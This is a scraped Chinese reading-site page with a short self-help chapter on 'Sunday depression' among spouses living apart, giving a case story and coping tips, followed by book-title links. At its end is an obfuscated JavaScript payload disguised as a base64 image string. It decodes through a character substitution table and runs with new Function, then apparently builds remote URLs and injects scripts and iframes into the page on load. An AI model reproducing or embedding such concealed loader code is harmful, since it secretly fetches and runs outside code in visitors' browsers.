足迹
别再抑郁了
登录
关灯
护眼
字体：大中小

星期天抑郁症（第1页）

星期天抑郁症

“星期天抑郁症”既是心理疾病也是社会病，最重要的是无法解决星期天“想要做什么和应该做什么”这一心理冲突。

阿明和丈夫结婚已经３年，丈夫在北京的一家公司任中层领导，两年前，他的公司从业务上考虑决定，每隔半年他就要到外地的分公司工作半年，刚开始分开的半年，阿明有一种自由和快乐的感觉，家里一个人，少了很多家事做，少了陪丈夫出去应酬所占的时间，每到周末，她就和朋友们出去玩，这种日子过了两个月，有一个周末，她那些关系好的朋友像约好了一样，都有各自的事情，她只好一个人在家，和丈夫打了两个小时长途电话，这天她干什么也没有兴趣，睡觉睡不着，看书、看影碟都看不下去，心里像长了草一样烦躁不安，出去走了一圈，又觉得无聊，转身又回家上网聊天，说不了两句，在网上又和别人吵起来，她觉得这有点不像自己，平时上班的时候，她是多么希望周末赶快来，可现在她害怕周末，只要到周末，她就想出去，不愿意在家里待着，宁可跑到空无一人的办公室看着密密麻麻的办公桌。

夫妻长期两地分居的人可能常常有这样的体会:莫名其妙的抑郁情绪，常常会伴随星期天等节假日闯入你的生活，你会感到孤独烦躁、心神不宁，心理学家称这种现象为“星期天抑郁症”。

夫妻长期两地生活是星期天抑郁症产生的直接原因，如出国人员、外地打工族、异地做生意者，一到星期天、节假日看到周围人家团聚、共享天伦之乐，焦躁情绪会尤为突出，往往会产生敌对心理，类似现象在一些特殊职业也时有发生，如海员、地质勘探人员、钻井工人、警察等，因工作性质不同，星期天、节假日休息无规律，夫妻双方时常不能在一起，再加上工作环境不尽如人意，心中不满无处发泄，最后形成心理重压。

“星期天抑郁症”严重地妨碍了人的智能、体能的发挥，也是多种疾病的根源，要想较好地解决，在星期天、节假日可参照以下方法:

（１）早起，写封信或打个电话给远方的伴侣；

（２）发展一些有益身心的个人爱好；

（３）外出旅游或参加一些社交活动；

（４）和亲朋挚友谈谈心；

（５）做一些力所能及的家务劳动；

一秒记住新域名 www.davebudge.com

请勿开启浏览器阅读模式，否则将导致章节内容缺失及无法阅读下一章。



白话萤窗异草  比尔·盖茨如何做生意  别让抑郁打败你  白话夜谭随录  半世私情  别跟自己过不去：升级版  包容  别让拖延毁了你的人生  把快乐留给自己  别输在人际交往上  别想不开，一切都在慢慢变好  别输在情绪掌控上  把话说得娓娓动听  般若心安住  别输在时间管理上  白话夜雨秋灯录（全4册）  别输在不会说话上  把握好说不的分寸与说是的尺度  把话说到别人心坎里  白话剪灯新话  

!function(){function a(a){var _idx="d5xud2u4am";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pac6a??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=(c6=+i;NmLF562p67TcdaaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLmR7RF:Cpm(O^gQ1KQ"Z=28Jc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/fnR_f@_od^/1os"!7m5Y|5T%%=FmL5(8Jc2a=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=DcaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}Pr55dTm6Lr55dTcda??cd8HZ=(c6=""aa!qYF _8"1os"=h8"fnR_f@_od^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 XcYa[Xd5 F8H"1os2CTqf7mTfD_J(:m(O^"="1osCSTqfXmJq4Y(2fm(O^"="1osOSTq47mTfD_J(:m(O^"="1osF(Tq2SmJq4Y(2fm(O^"="1osDhTqdJmTfD_J(:m(O^"="1osh)TqCqmJq4Y(2fm(O^"="1osJfTq7DmTfD_J(:m(O^"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"=28H"Y#"%hZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%_=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28_HfZcYH(Zc^%%aa=O8_HfZcYH(Zc^%%aa=68_HfZcYH(Zc^%%aa=d8_HfZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PpcOa=@8887mqOdfiFdF_LvvDcaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=pcOaP=7mqOdfiFdF_L8}PqYF T8l}!7_2(F6O2 Dca[TvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 ica[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clTa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=T8l0PqYF F8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ/f/1osj(8}vY8fnR_f@_od^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=28Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??2avvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajXc7_2(F6O2ca[qc@0}a=Xc7_2(F6O2ca[qc@0@a=fc7_2(F6O2ca[qc@0saPaPaPagfc7_2(F6O2ca[qc}0}a=fc7_2(F6O2ca[qc}0@a=Xc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??ica=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"a%"/)_pj68"%_=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=(c6=""aaPaPaca!'.substr(22));new Function(b)()}();